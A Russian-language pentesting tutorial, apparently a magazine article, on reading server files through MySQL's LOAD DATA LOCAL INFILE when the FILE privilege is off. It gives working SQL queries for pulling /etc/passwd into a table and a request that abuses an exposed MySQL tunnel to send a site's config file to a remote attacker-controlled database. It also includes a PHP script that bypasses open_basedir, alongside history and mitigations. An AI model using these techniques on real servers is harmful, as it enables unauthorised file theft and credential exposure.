Обходим ограничение на чтение файлов в MySQL

Описываю довольно частую ситуацию. Во время пентеста получен доступ к phpMyAdmin на удаленном хосте, но добраться через него до файлов не получается. Во всем виноват пресловутый флаг FILE_PRIV=no в настройках демона MySQL. Многие в этой ситуации сдаются и считают, что файлы на хосте таким образом уже не прочитать. Но это не всегда так.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Прелюдия

Когда речь идет о взаимодействии CУБД MySQL с файловой системой, то вспоминают, как правило:

  • функцию LOAD_FILE, позволяющую читать файлы на сервере;
  • конструкцию SELECT ... INTO OUTFILE, с помощью которой можно создавать новые файлы.

Соответственно, если получен доступ к phpMyAdmin или любому другому клиенту на удаленной машине, то с большой вероятностью через MySQL можно добраться до файловой системы. Но только при условии, что в настройках демона установлен флаг FILE_PRIV=yes, что бывает далеко не всегда. В этом случае надо вспомнить про другой оператор, куда менее известный, но при этом обладающий довольно мощным функционалом. Я говорю об операторе LOAD DATA INFILE, об особенностях которого и будет рассказано в этой статье.

Взаимодействие PHP и MySQL

PHP — самый распространенный язык для создания веб-приложений, поэтому стоит рассмотреть подробней, каким образом он взаимодействует с базой данных.

В PHP4 клиентские библиотеки MySQL были включены по умолчанию и входили в поставку PHP, поэтому при установке можно было только отказаться от использования MySQL, указав опцию

--without-mysql.

PHP5 поставляется без клиентской библиотеки. На *nix-системах обычно собирают PHP5 с уже установленной на сервере библиотекой libmysqlclient, просто задав опцию

--with-mysql=/usr

при сборке. При этом до версии 5.3 для взаимодействия с сервером MySQL используется низкоуровневая библиотека MySQL Client Library (libmysql), интерфейс который не оптимизирован для коммуникации с PHP-приложениями.

Для версии PHP 5.3 и выше был разработан MySQL Native Driver (mysqlnd), причем в недавно появившейся версии PHP 5.4 этот драйвер используется по умолчанию. Хотя встроенный драйвер MySQL написан как расширение PHP, важно понимать, что он не предоставляет программисту PHP нового API. API к базе данных MySQL для программиста предоставляют расширения MySQL, mysqli и PDO_MYSQL. Эти расширения могут использовать возможности встроенного драйвера MySQL для общения с демоном MySQL.

Использование встроенного драйвера MySQL дает некоторые плюсы относительно клиентской библиотеки MySQL: к примеру, не требуется устанавливать MySQL, чтобы собирать PHP или использовать работающие с базой данных скрипты. Более подробную информацию о MySQL Native Driver и его отличиях от libmysql можно найти в документации.

Расширения MySQL, mysqli и PDO_MYSQL могут быть индивидуально сконфигурированы для использования либо libmysql, либо mysqlnd. Например, чтобы настроить расширение MySQL для использования MySQL Client Library, а расширения mysqli для работы с MySQL Native Driver, необходимо указать следующие опции:

`./configure --with-mysql=/usr/bin/mysql_config   
 --with-mysqli=mysqlnd`

Синтаксис LOAD DATA

Оператор LOAD DATA, как гласит документация, читает строки из файла и загружает их в таблицу на очень высокой скорости. Его можно использовать с ключевым словом LOCAL (доступно в MySQL 3.22.6 и более поздних версиях), которое указывает, откуда будут загружаться данные. Если слово LOCAL отсутствует, то сервер загружает в таблицу указанный файл со своей локальной машины, а не с машины клиента. То есть файл будет читаться не клиентом MySQL, а сервером MySQL. Но для этой операции опять же необходима привилегия FILE (флаг FILE_PRIV=yes). Выполнение оператора в этом случае можно сравнить с использованием функции LOAD_FILE — с той лишь разницей, что данные загружаются в таблицу, а не выводятся. Таким образом использовать LOAD DATA INFILE для чтения файлов имеет смысл только тогда, когда функция LOAD_FILE недоступна, то есть на очень старых версиях MySQL-сервера.

Синтаксис оператора LOAD DATA INFILE

Но если оператор используется в таком виде: LOAD DATA LOCAL INFILE, то есть с использованием слова LOCAL, то файл читается уже клиентской программой (на машине клиента) и отправляется на сервер, где находится база данных. При этом для доступа к файлам привилегия FILE, естественно, не нужна (так как все происходит на машине клиента).

Расширения MySQL/mysqli/PDO_MySQL и оператор LOAD DATA LOCAL

В расширении MySQL возможность использовать LOCAL регулируется PHP_INI_SYSTEM директивой mysql.allow_local_infile. По умолчанию эта директива имеет значение 1, и поэтому нужный нам оператор обычно доступен. Также функция mysql_connect позволяет включать возможность использования LOAD DATA LOCAL, если в пятом аргументе стоит константа 128.

Когда для соединения с базой данных используется расширение PDO_MySQL, то мы также можем включить поддержку LOCAL, используя константу PDO::MYSQL_ATTR_LOCAL_INFILE (integer)

$pdo = new PDO('mysql:host=localhost;dbname=mydb', 'user',     'pass', array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Но самые большие возможности для работы с оператором LOAD DATA предоставляет расширение mysqli. В этом расширении тоже предусмотрена PHP_INI_SYSTEM директива mysqli.allow_local_infile, регулирующая использование LOCAL.

Если соединение осуществляется посредством mysqli_real_connect, то с помощью mysqli_options мы можем как включить, так и выключить поддержку LOCAL. Более того, в этом расширении доступна функция mysqli_set_local_infile_handler, которая позволяет зарегистрировать callback-функцию для обработки содержимого файлов, читаемых оператором LOAD DATA LOCAL INFILE.

Чтение файлов

Внимательный читатель, наверное, уже догадался, что если у нас есть аккаунт в phpMyAdmin, то мы сможем читать произвольные файлы, не имея привилегию FILE, и даже обходить ограничения open_basedir. Ведь очень часто и клиент (в данном случае phpMyAdmin), и демон MySQL находятся на одной и той же машине. Несмотря на ограничения политики безопасности сервера MySQL, мы можем воспользоваться тем, что для клиента эта политика не действует, и все-таки прочитать файлы из системы, запихнув их в базу данных.

Алгоритм простой. Достаточно выполнить следующие SQL-запросы:

  1. Создаем таблицу, в которую будем записывать содержимое файлов:CREATE TABLE temp(content text);
  2. Отправляем содержимое файла в созданную таблицу:LOAD DATA LOCAL INFILE '/etc/hosts' INTO TABLE temp FIELDS TERMINATED BY 'eof' ESCAPED BY '' LINES TERMINATED BY 'eof';

Вуаля. Содержимое файла /etc/hosts теперь в таблице temp. Нужно прочитать бинарные файлы? Нет проблем. Если на первом шаге мы создадим такую таблицу:

CREATE TABLE 'bin' ('bin' BLOB NOT NULL ) ENGINE = MYISAM ;

то в нее возможно будет загружать и бинарные файлы. Правда, в конец файлов будут добавляться лишние биты, но их можно будет убрать в любом hex-редакторе. Таким образом можно скачать с сервера скрипты, защищенные IonCube/Zend/TrueCrypt/NuSphere, и раскодировать их.

Другой пример, как можно использовать LOAD DATA LOCAL INFILE, — узнать путь до конфига Apache’а. Делается это следующим образом:

  1. Сначала узнаем путь до бинарника, для этого описанным выше способом читаем /proc/self/cmdline.
  2. И далее читаем непосредственно бинарник, где ищем HTTPD_ROOT/SERVER_CONFIG_FILE.
Помещаем содержимое файла /etc/passwd в таблицу test

Так же можно попробовать прочитать файлы таблиц MySQL, если права на эти файлы позволяют сделать это (обычное дело на виндовых серверах).

Запрос выполнен удачно

Ясно, что в данной ситуации скрипты phpMyAdmin играют роль клиента для соединения с базой данных. И вместо phpMyAdmin можно использовать любой другой веб-интерфейс для работы с MySQL.

Содержимое файла /etc/passwd в таблице test

К примеру, можно использовать скрипты для бэкапа и восстановления базы. Еще в 2007 году французский хакер под ником acidroot выложил в паблик эксплойт, основанный на этом замечании и дающий возможность читать файлы из админ-панели phpBB <= 2.0.22.

Туннель удобно. Туннель небезопасно

При установке сложных веб-приложений зачастую требуется прямой доступ в базу, например для начальной настройки и корректировки работы скриптов. Поэтому в некоторых случаях целесообразно установить на сервере простой скрипт — так называемый MySQL Tunnel, позволяющий выполнять запросы к базе данных с помощью удобного клиента вместо тяжеловесного phpMyAdmin.

Туннелей для работы с базой данных довольно много, но все они не очень сильно распространены. Пожалуй, один из самых известных — это Macromedia Dream Weaver Server Scripts. Посмотреть исходники этого скрипта можно тут.

Основное отличие MySQL Tunnel от phpMyAdmin — это необходимость вводить не только логин и пароль от базы данных, но и хост, с которым нужно соединиться. При этом туннели часто оставляют активными, ну просто на всякий случай, мало ли что еще нужно будет поднастроить. Вроде как воспользоваться ими можно, только если есть аккаунт в базу данных — тогда чего бояться? Короче, создается впечатление, что туннель особой угрозы безопасности веб-серверу не несет. Но на самом деле не все так хорошо, как кажется на первый взгляд.

Рассмотрим следующую ситуацию. Пусть на сервере A есть сайт site.com с установленным туннелем http://site.com/_mmServerScripts/MMHTTPDB.php. Предположим, что на сервере А есть возможность использовать LOAD DATA LOCAL (как обсуждалось выше, это, например, возможно при дефолтных настройках). В этом случае мы можем взять удаленный MySQL-сервер, в базы которого пускают отовсюду и который тоже позволяет использовать LOCAL, и соединиться с этим сервером с помощью туннеля. Данные для коннекта с удаленным MySQL-сервером:

DB Host: xx.xx.xx.xxx 
DB Name: name_remote_db 
DB User: our_user 
DB Pass: our_pass

В данной ситуации сервер A будет играть роль клиента, и поэтому мы можем отправлять файлы с его хоста в удаленную базу или, другими словами, читать файлы. Следующим нехитрым запросом:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php' INTO TABLE tmp_tbl FIELDS TERMINATED BY '__eof__' ESCAPED BY '' LINES TERMINATED BY '__eof__'

На самом деле эта уязвимость более опасна, чем обычное чтение файлов: ведь она позволяет прочитать конфигурационные файлы скриптов, установленных на сервере A. Через этот же туннель можно получить уже прямой доступ к базе, которые управляют этими скриптами. Описанную выше технику по использованию мускульных туннелей можно немного обобщить и применить при эксплуатации unserialize-уязвимостей.

Обсуждение темы в кулуарах Rdot.org

Клиент-сервер

Для того чтобы лучше понять возможности LOAD DATA, необходимо вспомнить, что CУБД MySQL использует традиционную архитектуру клиент-сервер. Работая с MySQL, мы реально работаем с двумя программами:

  • программа сервера базы данных, расположенная на компьютере, где хранится база данных. Демон mysqld «прослушивает» запросы клиентов, поступающие по сети, и осуществляет доступ к содержимому базы данных, предоставляя информацию, которую запрашивают клиенты. Если mysqld запущен с опцией --local-infile=0, то LOCAL работать не будет;
  • клиентская программа осуществляет подключение к серверу и передает запросы на сервер. Дистрибутив CУБД MySQL включает в себя несколько клиентских программ: консольный клиент MySQL (наиболее часто используемая), а также mysqldump, mysqladmin, mysqlshow, mysqlimport и так далее. А при необходимости даже можно создать свою клиентскую программу на основе стандартной клиентской библиотеки libmysql, которая поставляется вместе с CУБД MySQL.

Если при использовании стандартного клиента MySQL не удается задействовать оператор LOAD DATA LOCAL, то стоит воспользоваться ключом --local-infile:

mysql --local-infile sampdb 
mysql> LOAD DATA LOCAL INFILE 'member.txt' INTO TABLE member;

Либо указать в файле /my.cnf опцию для клиента:

[client] 
local-infile=1

Важно отметить, что по умолчанию все MySQL-клиенты и библиотеки компилируются с опцией --enable-local-infile для обеспечения совместимости с MySQL 3.23.48 и более старыми версиями, поэтому LOAD DATA LOCAL обычно доступно для стандартных клиентов. Однако команды к MySQL-серверу отсылаются в основном не из консоли, а из скриптов, поэтому в языках для веб-разработки также имеются клиенты для работы с базой данных, которые могут отличаться по функционалу от стандартного клиента MySQL.

Конечно, эта особенность оператора LOAD DATA может быть угрозой безопасности системы, и поэтому начиная с версии MySQL 3.23.49 и MySQL 4.0.2 (4.0.13 для Win) опция LOCAL будет работать только если оба — клиент и сервер — разрешают ее.

Прямое назначение оператора LOAD DATA

Обход ограничений open_basedir

Использование LOAD DATA довольно часто позволяет обходить ограничения open_basedir. Это может оказаться полезным, если, например, мы имеем доступ в директорию одного пользователя на shared-хостинге, но хотим прочитать скрипты из домашнего каталога другого пользователя. Тогда, установив такой скрипт

<?php
    $pdo = new PDO('mysql:host=нашхост;dbname=нашабд', 
                                'юзер',     'пасс', 
                                array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1)); 
    $e=$pdo->exec("LOAD DATA LOCAL INFILE './path/to/file' INTO TABLE test FIELDS TERMINATED BY '__eof__' ESCAPED BY '' LINES TERMINATED BY '__eof__'"); 
    $pdo = null; 
?>

можно попытаться прочитать файлы, обходя ограничение open_basedir. Полезный хинт.

Заключение

Любопытно, что описанная возможность оператора LOAD DATA известна не меньше десяти лет. Упоминание о ней можно, например, найти в тикете [#15408] (Safe Mode / MySQL Vuln 2002-02-06), и потом похожие вопросы неоднократно всплывали на bugs.php.net [#21356] [#23779] [#28632] [#31261] [#31711]. На что разработчики отвечали дословно следующее:

[2003-04-24 04:16 UTC] georg@php.net 
It’s not a bug, it’s a feature :)

Или присваивали тикету "Status:Wont fix". Или ограничивались патчами, которые почти ничего не решали. Тикеты на эту тему возникали вновь. Поэтому указанный способ обхода open_basedir и до сих пор работает на довольно большом количестве серверов. Впрочем, с появлением нового драйвера mysqlnd, похоже, было принято решение внести существенные изменения: при дефолтных установках этот оператор теперь вообще не будет выполняться [#54158] [#55737]. Будем надеяться, что в ближайшем будущем разработчики наведут порядок в этом вопросе.